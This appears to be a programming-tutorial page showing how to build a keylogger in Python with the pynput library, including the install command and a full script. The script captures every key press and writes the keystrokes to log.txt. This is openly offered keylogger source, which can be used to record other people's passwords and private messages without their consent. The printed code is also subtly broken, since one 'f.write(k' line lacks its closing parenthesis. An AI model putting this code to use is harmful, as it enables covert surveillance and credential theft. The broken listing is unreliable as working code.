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How to use pynput to make a Keylogger?

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  • Difficulty Level : Medium
  • Last Updated : 16 Dec, 2021
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Prerequisites: Python Programming Language
The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.

Modules needed

pynput: To install pynput type the below command in the terminal.  

 pip install pynput 

Below is the implementation:  

Python3




# keylogger using pynput module
  
import pynput
from pynput.keyboard import Key, Listener
  
keys = []
  
def on_press(key):
     
    keys.append(key)
    write_file(keys)
     
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
         
    except AttributeError:
        print('special key {0} pressed'.format(key))
          
def write_file(keys):
     
    with open('log.txt', 'w') as f:
        for key in keys:
             
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                     
            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')
              
def on_release(key):
                     
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
  
  
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                     
    listener.join()

Output: 

python-keylogger-pyinput

 


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